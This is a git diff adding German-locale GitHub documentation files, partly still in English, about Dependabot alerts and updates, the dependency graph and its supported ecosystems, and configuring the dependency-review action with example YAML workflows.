+{% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dependabot_security_updates %} und {% data variables.product.prodname_dependabot_version_updates %} nutzen {% data variables.product.prodname_actions %} nicht, wenn sie auf {% data variables.product.product_name %} ausgeführt werden. Allerdings können Pull Requests, die von {% data variables.product.prodname_dependabot %} geöffnet werden, Workflows zum Ausführen von Aktionen auslösen. Weitere Informationen findest du unter [Automatisieren von {% data variables.product.prodname_dependabot %} mit {% data variables.product.prodname_actions %}](/code-security/dependabot/working-with-dependabot/automating-dependabot-with-github-actions).
+
+{% elsif ghes %}
+
+{% data variables.product.prodname_dependabot_security_updates %} und {% data variables.product.prodname_dependabot_version_updates %} benötigen {% data variables.product.prodname_actions %}, um auf {% data variables.product.product_name %} ausgeführt zu werden. Für {% data variables.product.prodname_dependabot_alerts %} wird {% data variables.product.prodname_actions %} nicht benötigt. Weitere Informationen findest du unter [Aktivieren von {% data variables.product.prodname_dependabot %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).
+
+{% elsif ghae %}
+
+{% data variables.product.prodname_actions %} wird nicht benötigt, um {% data variables.product.prodname_dependabot_alerts %} auf {% data variables.product.product_name %} auszuführen.
+
+{% endif %}
+
+#### Was sind Dependabot-Warnungen?
+
+{% data variables.product.prodname_dependabot_alerts %} heben Repositorys hervor, die von einem neu entdeckten Sicherheitsrisiko betroffen sind, basierend auf dem Abhängigkeitsdiagramm sowie {% data variables.product.prodname_advisory_database %} hervor. Diese Datenbank enthält Empfehlungen für bekannte Sicherheitsrisiken{% ifversion GH-advisory-db-supports-malware %} und Schadsoftware{% endif %}. 
+
+- {% data variables.product.prodname_dependabot %} führt eine Überprüfung zur Erkennung von unsicheren Abhängigkeiten durch und sendet {% data variables.product.prodname_dependabot_alerts %}, wenn: {% ifversion fpt or ghec %}
+   - Ein neues Sicherheitsrisiko wird {% data variables.product.prodname_advisory_database %} hinzugefügt.{% else %}
+   - Neue Empfehlungsdaten werden stündlich zwischen {% data variables.product.prodname_dotcom_the_website %} und {% data variables.location.product_location %} synchronisiert. {% data reusables.security-advisory.link-browsing-advisory-db %}{% endif %}
+   - Das Abhängigkeitsdiagramm für das Repository sich ändert 
+- {% data variables.product.prodname_dependabot_alerts %} werden {% ifversion fpt or ghec or ghes %} auf der Registerkarte **Sicherheit** des Repositorys sowie{% endif %} im Abhängigkeitsdiagramm des Repositorys angezeigt. Die Warnung enthält {% ifversion fpt or ghec or ghes %} einen Link zur betroffenen Datei im Projekt sowie {% endif %}Informationen zu einer Version, bei der das Problem behoben wurde.
+
+Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies).
+
+{% ifversion fpt or ghec or ghes %}
+#### Was sind Dependabot-Updates?
+
+Es gibt zwei Arten von {% data variables.product.prodname_dependabot_updates %}: {% data variables.product.prodname_dependabot %}-_Sicherheitsupdates_ und -_Versionsupdates_. {% data variables.product.prodname_dependabot %} generiert zwar in beiden Fällen automatische Pull Requests zum Aktualisieren deiner Abhängigkeiten, es gibt jedoch einige Unterschiede.
+
+{% data variables.product.prodname_dependabot_security_updates %}:
+ - Werden durch eine {% data variables.product.prodname_dependabot %}-Warnung ausgelöst
+ - Aktualisieren Abhängigkeiten auf die niedrigste Version, in der ein bekanntes Sicherheitsrisiko beseitigt wurde
+ - Werden für die Ökosysteme unterstützt, die das Abhängigkeitsdiagramm unterstützt
+ - Erfordert keine Konfigurationsdatei. Du kannst jedoch eine verwenden, um das Standardverhalten außer Kraft zu setzen.
+ 
+{% data variables.product.prodname_dependabot_version_updates %}:
+ - Erfordert eine Konfigurationsdatei
+ - Werden basierend auf einem von Ihnen konfigurierten Zeitplan ausgeführt
+ - Aktualisieren Abhängigkeiten auf die aktuellste Version für die Konfiguration
+ - Werden für eine andere Gruppe von Ökosystemen unterstützt
+
+Weitere Informationen zu {% data variables.product.prodname_dependabot_updates %} findest du unter [Informationen zu {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-dependabot-security-updates) und [Informationen zu {% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/keeping-your-dependencies-updated-automatically/about-dependabot-version-updates).
+{% endif %}
+
+## Verfügbarkeit von Funktionen
+
+{% ifversion fpt or ghec %}
+
+Öffentliche Repositorys:
+- **Abhängigkeitsdiagramm**: standardmäßig aktiviert und kann nicht deaktiviert werden
+- **Abhängigkeitsüberprüfung**: standardmäßig aktiviert und kann nicht deaktiviert werden
+- **{% data variables.product.prodname_dependabot_alerts %}**: nicht standardmäßig aktiviert. {% data variables.product.prodname_dotcom %} erkennt unsichere Abhängigkeiten und zeigt Informationen im Abhängigkeitsdiagramm an, generiert aber nicht standardmäßig {% data variables.product.prodname_dependabot_alerts %}. Repositorybesitzer*innen oder Personen mit Administratorzugriff können {% data variables.product.prodname_dependabot_alerts %} aktivieren. 
+  Zudem kannst du Dependabot-Warnungen für alle Repositorys aktivieren oder deaktivieren, die deinem Benutzerkonto oder deiner Organisation gehören. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Benutzerkonto](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account) oder [Verwalten von Sicherheits- und Analyseeinstellungen für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization).
+
+Private Repositorys:
+- **Abhängigkeitsdiagramm**: standardmäßig nicht aktiviert. Das Feature kann von Repositoryadministrator*innen aktiviert werden. Weitere Informationen findest du unter [Untersuchen der Abhängigkeiten eines Repositorys](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository).
+{% ifversion fpt %}
+- **Abhängigkeitsüberprüfung**: verfügbar in privaten Repositorys, die Organisationen gehören, die {% data variables.product.prodname_ghe_cloud %} verwenden und über eine Lizenz für {% data variables.product.prodname_GH_advanced_security %} verfügen. Weitere Informationen findest du unter [Dokumentation zu {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review).
+{% elsif ghec %}
+- **Abhängigkeitsüberprüfung**: verfügbar in privaten Repositorys, die Organisationen gehören, vorausgesetzt, du verfügst über eine Lizenz für {% data variables.product.prodname_GH_advanced_security %} und das Abhängigkeitsdiagramm ist aktiviert. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security) und [Untersuchen der Abhängigkeiten eines Repositorys](/code-security/supply-chain-security/understanding-your-software-supply-chain/exploring-the-dependencies-of-a-repository#enabling-and-disabling-the-dependency-graph-for-a-private-repository). {% endif %}
+- **{% data variables.product.prodname_dependabot_alerts %}**: nicht standardmäßig aktiviert. Besitzer*innen privater Repositorys oder Personen mit Administratorzugriff können {% data variables.product.prodname_dependabot_alerts %} aktivieren, indem sie das Abhängigkeitsdiagramm und {% data variables.product.prodname_dependabot_alerts %} für ihre Repositorys aktivieren.
+  Zudem kannst du Dependabot-Warnungen für alle Repositorys aktivieren oder deaktivieren, die deinem Benutzerkonto oder deiner Organisation gehören. Weitere Informationen findest du unter [Verwalten von Sicherheits- und Analyseeinstellungen für dein Benutzerkonto](/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-personal-account-settings/managing-security-and-analysis-settings-for-your-personal-account) oder [Verwalten von Sicherheits- und Analyseeinstellungen für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/managing-security-and-analysis-settings-for-your-organization).
+
+Alle Repositorytypen:
+- **{% data variables.product.prodname_dependabot_security_updates %}**: nicht standardmäßig aktiviert. Du kannst {% data variables.product.prodname_dependabot_security_updates %} für jedes Repository aktivieren, das {% data variables.product.prodname_dependabot_alerts %} und das Abhängigkeitsdiagramm verwendet. Weitere Informationen zum Aktivieren von Sicherheitsupdates findest du unter [Konfigurieren von {% data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates).
+- **{% data variables.product.prodname_dependabot_version_updates %}**: nicht standardmäßig aktiviert. Personen mit Schreibberechtigungen für ein Repository können {% data variables.product.prodname_dependabot_version_updates %} aktivieren. Weitere Informationen zum Aktivieren von Versionsupdates findest du unter [Konfigurieren von {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates).
+{% endif %}
+
+{% ifversion ghes or ghae %}
+- **Abhängigkeitsdiagramm** und **{% data variables.product.prodname_dependabot_alerts %}**: nicht standardmäßig aktiviert. Beide Features werden auf Unternehmensebene vom Unternehmensinhaber bzw. von der Unternehmensinhaberin konfiguriert. Weitere Informationen findest du unter {% ifversion ghes %}[Aktivieren des Abhängigkeitsdiagramms für dein Unternehmen](/admin/code-security/managing-supply-chain-security-for-your-enterprise/enabling-the-dependency-graph-for-your-enterprise) und {% endif %}[Aktivieren von {% data variables.product.prodname_dependabot %} für dein Unternehmen](/admin/configuration/configuring-github-connect/enabling-dependabot-for-your-enterprise).
+- **Abhängigkeitsüberprüfung**: Verfügbar, wenn das Abhängigkeitsdiagramm für {% data variables.location.product_location %} und {% data variables.product.prodname_advanced_security %} für die Organisation oder das Repository aktiviert sind. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security).
+{% endif %} {% ifversion ghes %}
+- **{% data variables.product.prodname_dependabot_security_updates %}**: nicht standardmäßig aktiviert. Du kannst {% data variables.product.prodname_dependabot_security_updates %} für jedes Repository aktivieren, das {% data variables.product.prodname_dependabot_alerts %} und das Abhängigkeitsdiagramm verwendet. Weitere Informationen zum Aktivieren von Sicherheitsupdates findest du unter [Konfigurieren von {% data variables.product.prodname_dependabot_security_updates %}](/code-security/dependabot/dependabot-security-updates/configuring-dependabot-security-updates).
+- **{% data variables.product.prodname_dependabot_version_updates %}**: nicht standardmäßig aktiviert. Personen mit Schreibberechtigungen für ein Repository können {% data variables.product.prodname_dependabot_version_updates %} aktivieren. Weitere Informationen zum Aktivieren von Versionsupdates findest du unter [Konfigurieren von {% data variables.product.prodname_dependabot_version_updates %}](/code-security/dependabot/dependabot-version-updates/configuring-dependabot-version-updates).
+{% endif %}
diff --git a/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md
new file mode 100644
index 0000000000..42541c3ef9
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph.md
@@ -0,0 +1,116 @@
+---
+title: About the dependency graph
+intro: You can use the dependency graph to identify all your project's dependencies. The dependency graph supports a range of popular package ecosystems.
+redirect_from:
+  - /github/visualizing-repository-data-with-graphs/about-the-dependency-graph
+  - /code-security/supply-chain-security/about-the-dependency-graph
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: overview
+topics:
+  - Dependency graph
+  - Dependencies
+  - Repositories
+shortTitle: Dependency graph
+---
+<!--For this article in earlier GHES versions, see /content/github/visualizing-repository-data-with-graphs-->
+<!--Marketing-LINK: From /features/security and /features/security/software-supply-chain pages "How GitHub's dependency graph is generated".-->
+
+## About the dependency graph
+
+{% data reusables.dependabot.about-the-dependency-graph %}
+
+When you push a commit to {% data variables.product.product_name %} that changes or adds a supported manifest or lock file to the default branch, the dependency graph is automatically updated.{% ifversion fpt or ghec %} In addition, the graph is updated when anyone pushes a change to the repository of one of your dependencies.{% endif %} For information on the supported ecosystems and manifest files, see "[Supported package ecosystems](#supported-package-ecosystems)" below.
+
+{% ifversion dependency-submission-api %} 
+{% data reusables.dependency-submission.dependency-submission-link %}
+{% endif %}
+
+When you create a pull request containing changes to dependencies that targets the default branch, {% data variables.product.prodname_dotcom %} uses the dependency graph to add dependency reviews to the pull request. These indicate whether the dependencies contain vulnerabilities and, if so, the version of the dependency in which the vulnerability was fixed. For more information, see "[About dependency review](/code-security/supply-chain-security/about-dependency-review)."
+
+## Dependency graph availability
+
+{% ifversion fpt or ghec %}The dependency graph is available for every public repository that defines dependencies in a supported package ecosystem using a supported file format. Repository administrators can also set up the dependency graph for private repositories. {% endif %}For more information {% ifversion ghes %}about configuration of the dependency graph{% endif %}, see "[Configuring the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph)."
+
+{% data reusables.code-scanning.enterprise-enable-dependency-graph %}
+
+{% data reusables.dependabot.dependabot-alerts-dependency-graph-enterprise %}
+
+## Dependencies included
+
+The dependency graph includes all the dependencies of a repository that are detailed in the manifest and lock files, or their equivalent, for supported ecosystems{% ifversion dependency-submission-api %}, as well as any dependencies that are submitted using the Dependency submission API (beta){% endif %}. This includes:
+
+- Direct dependencies, that are explicitly defined in a manifest or lock file {% ifversion dependency-submission-api %} or have been submitted using the Dependency submission API (beta){% endif %}
+- Indirect dependencies of these direct dependencies, also known as transitive dependencies or sub-dependencies
+
+The dependency graph identifies indirect dependencies{% ifversion fpt or ghec %} either explicitly from a lock file or by checking the dependencies of your direct dependencies. For the most reliable graph, you should use lock files (or their equivalent) because they define exactly which versions of the direct and indirect dependencies you currently use. If you use lock files, you also ensure that all contributors to the repository are using the same versions, which will make it easier for you to test and debug code{% else %} from the lock files{% endif %}.
+
+For more information on how {% data variables.product.product_name %} helps you understand the dependencies in your environment, see "[About supply chain security](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-supply-chain-security)."
+
+{% ifversion fpt or ghec %}
+
+## Dependents included
+
+For public repositories, only public repositories that depend on it or on packages that it publishes are reported. This information is not reported for private repositories.{% endif %}
+
+## Using the dependency graph
+
+You can use the dependency graph to:
+
+- Explore the repositories your code depends on{% ifversion fpt or ghec %}, and those that depend on it{% endif %}. For more information, see "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)." {% ifversion ghec %}
+- View a summary of the dependencies used in your organization's repositories in a single dashboard. For more information, see "[Viewing insights for your organization](/articles/viewing-insights-for-your-organization#viewing-organization-dependency-insights)."{% endif %}
+- View and update vulnerable dependencies for your repository. For more information, see "[About {% data variables.product.prodname_dependabot_alerts %}](/code-security/supply-chain-security/about-alerts-for-vulnerable-dependencies)."{% ifversion fpt or ghes or ghec %}
+- See information about vulnerable dependencies in pull requests. For more information, see "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)."{% endif %}
+
+## Supported package ecosystems
+
+The recommended formats explicitly define which versions are used for all direct and all indirect dependencies. If you use these formats, your dependency graph is more accurate. It also reflects the current build set up and enables the dependency graph to report vulnerabilities in both direct and indirect dependencies.{% ifversion fpt or ghec %} Indirect dependencies that are inferred from a manifest file (or equivalent) are excluded from the checks for insecure dependencies.{% endif %}
+
+| Package manager | Languages | Recommended formats | All supported formats |
+| --- | --- | --- | ---|
+{%- ifversion dependency-graph-rust-support %}
+| Cargo | Rust | `Cargo.lock` | `Cargo.toml`, `Cargo.lock` | 
+{%- endif %}
+| Composer             | PHP           | `composer.lock` | `composer.json`, `composer.lock` |
+| NuGet | .NET languages (C#, F#, VB), C++  |   `.csproj`, `.vbproj`, `.nuspec`, `.vcxproj`, `.fsproj` |  `.csproj`, `.vbproj`, `.nuspec`, `.vcxproj`, `.fsproj`, `packages.config` |
+{%- ifversion github-actions-in-dependency-graph %}
+| {% data variables.product.prodname_actions %} workflows<sup>[†]</sup> | YAML | `.yml`, `.yaml` | `.yml`, `.yaml` |
+{%- endif %}
+| Go modules | Go | `go.sum` | `go.mod`, `go.sum` |
+| Maven | Java, Scala |  `pom.xml`  | `pom.xml`  |
+| npm | JavaScript |            `package-lock.json` | `package-lock.json`, `package.json`|
+| pip             | Python                    | `requirements.txt`, `pipfile.lock` | `requirements.txt`, `pipfile`, `pipfile.lock`, `setup.py`<sup>[‡]</sup> |
+{%- ifversion dependency-graph-dart-support %}
+| pub             | Dart                    | `pubspec.lock` | `pubspec.yaml`, `pubspec.lock` |
+{%- endif %}
+{%- ifversion fpt or ghec or ghes > 3.3 or ghae > 3.3 %}
+| Python Poetry | Python                    | `poetry.lock` | `poetry.lock`, `pyproject.toml` |
+{%- endif %}
+| RubyGems             | Ruby           | `Gemfile.lock` | `Gemfile.lock`, `Gemfile`, `*.gemspec` |
+| Yarn | JavaScript | `yarn.lock` | `package.json`, `yarn.lock` |
+
+{% ifversion github-actions-in-dependency-graph %}
+[†] {% data reusables.enterprise.3-5-missing-feature %} {% data variables.product.prodname_actions %} workflows must be located in the `.github/workflows/` directory of a repository to be recognized as manifests. Any actions or workflows referenced using the syntax `jobs[*].steps[*].uses` or `jobs.<job_id>.uses` will be parsed as dependencies. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/using-workflows/workflow-syntax-for-github-actions)."
+
+{% endif %}
+
+[‡] If you list your Python dependencies within a `setup.py` file, we may not be able to parse and list every dependency in your project.
+
+{% ifversion github-actions-in-dependency-graph %}
+{% note %}
+
+**Note:** {% data variables.product.prodname_actions %} workflow dependencies are displayed in the dependency graph for informational purposes. Dependabot alerts are not currently supported for {% data variables.product.prodname_actions %} workflows.
+
+{% endnote %}
+{% endif %}
+
+{% ifversion dependency-submission-api %}You can use the Dependency submission API (beta) to add dependencies from the package manager or ecosystem of your choice to the dependency graph, even if the ecosystem is not in the supported ecosystem list above. The dependency graph will display the submitted dependencies grouped by ecosystem, but separately from the dependencies parsed from manifest or lock files. You will only get {% data variables.product.prodname_dependabot_alerts %} for dependencies that are from one of the [supported ecosystems](https://github.com/github/advisory-database#supported-ecosystems) of the {% data variables.product.prodname_advisory_database %}. For more information on the Dependency submission API, see "[Using the Dependency submission API](/code-security/supply-chain-security/understanding-your-software-supply-chain/using-the-dependency-submission-api)."{% endif %}
+## Further reading
+
+- "[Dependency graph](https://en.wikipedia.org/wiki/Dependency_graph)" on Wikipedia
+- "[Exploring the dependencies of a repository](/github/visualizing-repository-data-with-graphs/exploring-the-dependencies-of-a-repository)"
+- "[Viewing and updating {% data variables.product.prodname_dependabot_alerts %}](/code-security/dependabot/dependabot-alerts/viewing-and-updating-dependabot-alerts)"
+- "[Troubleshooting the detection of vulnerable dependencies](/github/managing-security-vulnerabilities/troubleshooting-the-detection-of-vulnerable-dependencies)"
diff --git a/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md
new file mode 100644
index 0000000000..0f6307553b
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review.md
@@ -0,0 +1,215 @@
+---
+title: Configuring dependency review
+intro: You can use dependency review to catch vulnerabilities before they are added to your project.
+miniTocMaxHeadingLevel: 3
+shortTitle: Configure dependency review
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Advanced Security
+  - Dependency review
+  - Vulnerabilities
+  - Dependencies
+  - Pull requests
+---
+
+## About dependency review
+
+{% data reusables.dependency-review.feature-overview %}   
+
+For more information, see "[About dependency review](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-dependency-review)" and "[Reviewing dependency changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-dependency-changes-in-a-pull-request)."
+
+## About configuring dependency review
+
+{% ifversion fpt %}
+Dependency review is available in all public repositories in all products and cannot be disabled. Dependency review is available in private repositories owned by organizations that use GitHub Enterprise Cloud and have a license for [{% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security). For more information, see the [{% data variables.product.prodname_ghe_cloud %} documentation](/enterprise-cloud@latest/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-dependency-review).
+
+{% elsif ghec %}
+Dependency review is included in {% data variables.product.product_name %} for public repositories. To use dependency review in private repositories owned by organizations, you must have a license for [{% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security) and have the dependency graph enabled.
+
+{% data reusables.dependabot.enabling-disabling-dependency-graph-private-repo %}
+1. If "{% data variables.product.prodname_GH_advanced_security %}" is not enabled, click **Enable** next to the feature.
+   ![Screenshot of GitHub Advanced Security feature with "Enable" button emphasized](/assets/images/help/security/enable-ghas-private-repo.png)
+
+{% elsif ghes or ghae %}
+
+Dependency review is available when dependency graph is enabled for {% data variables.location.product_location %} and {% data variables.product.prodname_advanced_security %} is enabled for the organization or repository.{% ifversion ghes %} For more information, see "[Enabling {% data variables.product.prodname_GH_advanced_security %} for your enterprise](/admin/code-security/managing-github-advanced-security-for-your-enterprise/enabling-github-advanced-security-for-your-enterprise)."{% endif %}
+
+### Checking if the dependency graph is enabled
+
+{% data reusables.repositories.navigate-to-repo %}
+{% data reusables.repositories.sidebar-settings %}
+{% data reusables.repositories.navigate-to-code-security-and-analysis %}
+1. Under "Configure security and analysis features", check if the dependency graph is enabled. 
+1. If dependency graph is enabled, click **Enable** next to "{% data variables.product.prodname_GH_advanced_security %}" to enable {% data variables.product.prodname_advanced_security %}, including dependency review. The enable button is disabled if your enterprise has no available licenses for {% data variables.product.prodname_advanced_security %}.{% ifversion ghes %}
+    ![Screenshot of "Code security and analysis" features"](/assets/images/enterprise/3.4/repository/code-security-and-analysis-enable-ghas-3.4.png){% endif %}
+
+{% endif %}
+
+{% ifversion dependency-review-action-configuration %}
+## About configuring the {% data variables.product.prodname_dependency_review_action %}
+
+{% data reusables.dependency-review.dependency-review-action-overview %}
+
+The following configuration options are available.
+
+| Option | Required | Usage |
+|------------------|-------------------------------|--------|
+| `fail-on-severity` | Optional | Defines the threshold for level of severity (`low`, `moderate`, `high`, `critical`).</br>The action will fail on any pull requests that introduce vulnerabilities of the specified severity level or higher. |
+{%- ifversion dependency-review-action-licenses %}
+| `allow-licenses` | Optional | Contains a list of allowed licenses. You can find the possible values for this parameter in the [Licenses](/rest/licenses) page of the API documentation.</br>The action will fail on pull requests that introduce dependencies with licenses that do not match the list.|{% endif %}
+{%- ifversion dependency-review-action-licenses %}
+| `deny-licenses` | Optional | Contains a list of prohibited licenses. You can find the possible values for this parameter in the [Licenses](/rest/licenses) page of the API documentation.</br>The action will fail on pull requests that introduce dependencies with licenses that match the list.|{% endif %}{% ifversion dependency-review-action-fail-on-scopes %}
+| `fail-on-scopes` | Optional | Contains a list of strings representing the build environments you want to support (`development`, `runtime`, `unknown`). </br>The action will fail on pull requests that introduce vulnerabilites in the scopes that match the list.|{% endif %}
+| `allow-ghsas` | Optional | Contains a list of {% data variables.product.prodname_advisory_database %} IDs that can be skipped during detection. You can find the possible values for this parameter in the [{% data variables.product.prodname_advisory_database %}](https://github.com/advisories). |
+| `config-file` | Optional | Specifies a path to a configuration file. The configuration file can be local to the repository or a file located in an external repository.|
+| `external-repo-token` | Optional | Specifies a token for fetching the configuration file, if the file resides in a private external repository. The token must have read access to the repository.|
+
+{% ifversion dependency-review-action-licenses %}
+{% tip %}
+
+**Tip:** The  `allow-licenses` and  `deny-licenses` options are mutually exclusive.
+
+{% endtip %}
+{% endif %}
+
+## Configuring the {% data variables.product.prodname_dependency_review_action %}
+
+There are two methods of configuring the {% data variables.product.prodname_dependency_review_action %}: 
+- Inlining the configuration options in your workflow file. 
+- Referencing a configuration file in your workflow file.
+
+Notice that all of the examples use a short version number for the action (`v3`) instead of a semver release number (for example, `v3.0.8`). This ensures that you use the most recent minor version of the action.
+### Using inline configuration to set up the {% data variables.product.prodname_dependency_review_action %}
+
+1. Add a new YAML workflow to your `.github/workflows` folder.   
+   
+   {% ifversion ghes %}For `runs-on`, the default label is `self-hosted`. You can replace the default label with the label of any of your runners.{% endif %}
+  ```yaml{:copy}
+  name: 'Dependency Review'
+  on: [pull_request]
+
+  permissions:
+    contents: read
+
+  jobs:
+    dependency-review:
+     {% ifversion ghes %}runs-on: self-hosted
+       {% else %}runs-on: ubuntu-latest
+       {% endif %}steps:
+         - name: 'Checkout Repository'
+           uses: {% data reusables.actions.action-checkout %}
+         - name: Dependency Review
+           uses: actions/dependency-review-action@v3
+   ```
+1. Specify your settings.   
+
+   This {% data variables.product.prodname_dependency_review_action %} example file illustrates how you can use the available configuration options.
+   ```yaml{:copy}
+   name: 'Dependency Review'
+   on: [pull_request]
+
+   permissions:
+     contents: read
+
+   jobs:
+     dependency-review:
+     {% ifversion ghes %}runs-on: self-hosted
+       {% else %}runs-on: ubuntu-latest
+       {% endif %}steps:
+         - name: 'Checkout Repository'
+           uses: {% data reusables.actions.action-checkout %}
+         - name: Dependency Review
+           uses: actions/dependency-review-action@v3
+           with:
+           # Possible values: "critical", "high", "moderate", "low" 
+           fail-on-severity: critical
+  {% ifversion dependency-review-action-licenses %}
+           # You can only include one of these two options: `allow-licenses` and `deny-licences`
+           # ([String]). Only allow these licenses (optional)
+           # Possible values: Any `spdx_id` value(s) from https://docs.github.com/en/rest/licenses 
+           allow-licenses: GPL-3.0, BSD-3-Clause, MIT
+           # ([String]). Block the pull request on these licenses (optional)
+           # Possible values: Any  `spdx_id` value(s) from https://docs.github.com/en/rest/licenses 
+           deny-licenses: LGPL-2.0, BSD-2-Clause
+  {% endif %}
+           # ([String]). Skip these {% data variables.product.prodname_advisory_database %} IDs during detection (optional)
+           # Possible values: Any valid {% data variables.product.prodname_advisory_database %} ID from https://github.com/advisories  
+           allow-ghsas: GHSA-abcd-1234-5679, GHSA-efgh-1234-5679
+  {% ifversion dependency-review-action-fail-on-scopes %}
+           # ([String]). Block pull requests that introduce vulnerabilities in the scopes that match this list (optional)
+           # Possible values: "development", "runtime", "unknown"
+           fail-on-scopes: development, runtime
+  {% endif %}
+   ```
+### Using a configuration file to set up {% data variables.product.prodname_dependency_review_action %}
+
+1. Add a new YAML workflow to your `.github/workflows` folder and use `config-file` to specify that you are using a configuration file.
+
+   {% ifversion ghes %}For `runs-on`, the default label is `self-hosted`. You can replace the default label with the label of any of your runners.{% endif %}
+   ```yaml{:copy}
+   name: 'Dependency Review'
+   on: [pull_request]
+
+   permissions:
+    contents: read
+
+   jobs:
+     dependency-review:
+       {% ifversion ghes %}runs-on: self-hosted
+       {% else %}runs-on: ubuntu-latest
+       {% endif %}steps:
+         - name: 'Checkout Repository'
+           uses: {% data reusables.actions.action-checkout %}
+         - name: Dependency Review
+           uses: actions/dependency-review-action@v3
+           with:
+            # ([String]). Representing a path to a configuration file local to the repository or in an external repository.
+            # Possible values: An absolute path to a local file or an external file.
+            config-file: './.github/dependency-review-config.yml'   
+            # Syntax for an external file: OWNER/REPOSITORY/FILENAME@BRANCH
+            config-file: 'github/octorepo/dependency-review-config.yml@main'
+
+            # ([Token]) Use if your configuration file resides in a private external repository.
+            # Possible values: Any GitHub token with read access to the private external repository.  
+            external-repo-token: 'ghp_123456789abcde'
+   ```
+1. Create the configuration file in the path you have specified.   
+
+   This YAML example file illustrates how you can use the available configuration options. 
+   ```yaml{:copy}
+     # Possible values: "critical", "high", "moderate", "low" 
+     fail-on-severity: critical
+   {% ifversion dependency-review-action-licenses %}
+     # You can only include one of these two options: `allow-licenses` and `deny-licences`
+     # ([String]). Only allow these licenses (optional)
+     # Possible values: Any `spdx_id` value(s) from https://docs.github.com/en/rest/licenses 
+     allow-licenses: 
+       - GPL-3.0
+       - BSD-3-Clause
+       - MIT
+      # ([String]). Block the pull request on these licenses (optional)
+      # Possible values: Any  `spdx_id` value(s) from https://docs.github.com/en/rest/licenses 
+     deny-licenses: 
+       - LGPL-2.0
+       - BSD-2-Clause
+   {% endif %}
+      # ([String]). Skip these {% data variables.product.prodname_advisory_database %} IDs during detection (optional)
+      # Possible values: Any valid {% data variables.product.prodname_advisory_database %} ID from https://github.com/advisories  
+     allow-ghsas: 
+       - GHSA-abcd-1234-5679 
+       - GHSA-efgh-1234-5679
+   {% ifversion dependency-review-action-fail-on-scopes %}
+      # ([String]). Block pull requests that introduce vulnerabilities in the scopes that match this list (optional)
+      # Possible values: "development", "runtime", "unknown"
+     fail-on-scopes: 
+       - development 
+       - runtime
+  {% endif %}
+  ```
+For further details about the configuration options, see [`dependency-review-action`](https://github.com/actions/dependency-review-action#readme).
+{% endif %}
diff --git a/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md
new file mode 100644
index 0000000000..3322d044d7
--- /dev/null
+++ b/translations/de-DE/content/code-security/supply-chain-security/understanding-your-software-supply-chain/configuring-the-dependency-graph.md
@@ -0,0 +1,52 @@
+---
+title: Configuring the dependency graph
+intro: You can allow users to identify their projects' dependencies by enabling the dependency graph.
+redirect_from:
+  - /code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph#enabling-the-dependency-graph
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Dependency graph
+  - Dependencies
+  - Repositories
+shortTitle: Configure dependency graph
+---
+## About the dependency graph
+
+{% data reusables.dependabot.about-the-dependency-graph %}  
+
+For more information, see "[About the dependency graph](/code-security/supply-chain-security/understanding-your-software-supply-chain/about-the-dependency-graph)."
+
+{% ifversion fpt or ghec %}
+## About configuring the dependency graph 
